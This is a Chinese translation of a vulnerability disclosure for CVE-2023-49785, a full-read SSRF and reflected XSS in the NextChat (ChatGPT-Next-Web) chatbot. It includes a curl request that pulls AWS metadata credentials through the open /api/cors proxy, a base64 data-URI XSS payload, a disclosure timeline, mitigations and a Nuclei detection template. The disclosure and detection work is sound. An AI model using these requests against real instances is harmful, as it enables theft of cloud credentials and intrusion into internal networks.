随着生成式AI的出现,AI聊天机器人无处不在。虽然用户可以使用OpenAI等SaaS提供商与大型语言模型(LLM)聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比OpenAI更丰富的用户界面,附加功能,例如插入和测试不同模型的能力,以及潜在绕过IP阻止限制的能力。
根据我们的研究,部署最广泛的独立Gen AI聊天机器人是NextChat,也就是ChatGPT-Next-Web。这是一个GitHub项目,有63 K+的star和52 K+的forks。Shodan查询标题:NextChat,“ChatGPT Next Web”列出了7500多个暴露的实例,主要在中国和美国。
此应用程序容易受到一个关键的完整读取服务器端请求伪造(SSRF)漏洞CVE-2023-49785的攻击,我们于2023年11月向供应商披露了该漏洞。截至撰写本文时,该漏洞还没有补丁,自我们最初披露以来已经过去了90多天,我们现在在这里发布完整的细节。
CVE-2023-49785: A Super SSRF
NextChat是一个基于Next.js的JavaScript应用程序,它的大部分功能都是作为客户端代码实现的。
但是,有一些暴露的服务器端点。其中一个端点位于/API/cors,它的功能设计为开放代理,允许未经身份验证的用户通过它发送任意HTTP请求。添加此端点似乎是为了支持将客户端聊天数据保存到WebDAV服务器。此端点的存在是一种反模式:它允许客户端绕过内置的浏览器保护,通过服务器端端点访问跨域资源。
例如,要通过此代理访问Google,可以提出以下请求:
SSRF漏洞在现实世界的影响方面有很大的不同。这个特别的SSRF就像它得到的一样糟糕。这很危险,因为:
它允许访问任意HTTP端点,包括任何内部端点
它返回来自任何访问的HTTP端点的完整响应
它通过设置方法头来支持任意HTTP方法,如POST,PUT等。请求体也会沿着传递。
URL查询参数可以与URL编码一起沿着传递。
它支持在请求中传递沿着Authorization头。
如果此应用程序暴露在Internet上,攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他HTTP资源。唯一的限制是传递沿着其他头,如Cookie或Content-Type,尽管可能有创造性的方法来注入这些头。
下面是访问AWS云元数据服务以检索启用IMDSv 1的AWS EC2实例的AWS访问密钥的示例:
sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
"Code" : "Success",
"LastUpdated" : "2024-03-08T00:22:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA-REDACTED",
"SecretAccessKey" : "C2CW-REDACTED",
"Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
"Expiration" : "2024-03-08T06:58:15Z"
}
Reflected XSS
几乎所有反射的XSS漏洞对攻击者来说都没有什么价值。
但我们认为值得注意的是,这个漏洞可以用来直接触发XSS,
而无需加载另一个网站。
这是因为/API/cors端点使用的fetch方法也支持数据协议。
data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
将在服务器上解码为
并发送回客户端,从而生成XSS:
缓解措施
我们对该漏洞的评估将CVE基础评分定为9.1(严重)。该漏洞不仅允许对内部HTTP端点进行读访问,还允许使用HTTP POST、PUT和其他方法进行写访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他Internet目标的恶意流量来掩盖其源IP。
在撰写本文时,还没有针对该漏洞的补丁。从我们第一次接触到现在已经过去了90多天。
2023年11月25日:Horizon 3通过GitHub漏洞披露流程向ChatGPT-Next-Web报告安全问题
2023年11月26日:供应商接受报告
2023年12月6日:GitHub CNA保留CVE-2023-49785
2024年1月15日:Horizon 3要求供应商使用GitHub安全问题进行更新。没有回应。
2024年3月7日:Horizon 3要求供应商使用GitHub安全问题进行更新。没有回应。
2024年3月11日:公开披露
我们建议用户不要在Internet上公开此应用程序。如果它必须暴露于Internet,请确保它是一个无法访问任何其他内部资源的隔离网络。请注意,攻击者仍然可以使用该应用程序作为开放代理,通过它伪装到其他目标的恶意流量。
检测
以下核心模板可用于检测此漏洞。易受攻击的代码于9月推出。2023.大多数在线实例,包括使用最近的“NextChat”名称的任何实例,都很可能受到攻击。
id: CVE-2023-49785
info:
name: CVE-2023-49785
author: nvn1729
severity: critical
description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
remediation: |
Do not expose to the Internet
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2023-49785
tags: cve-2023-49785,ssrf,xss
http:
- method: GET
path:
- "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
- "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"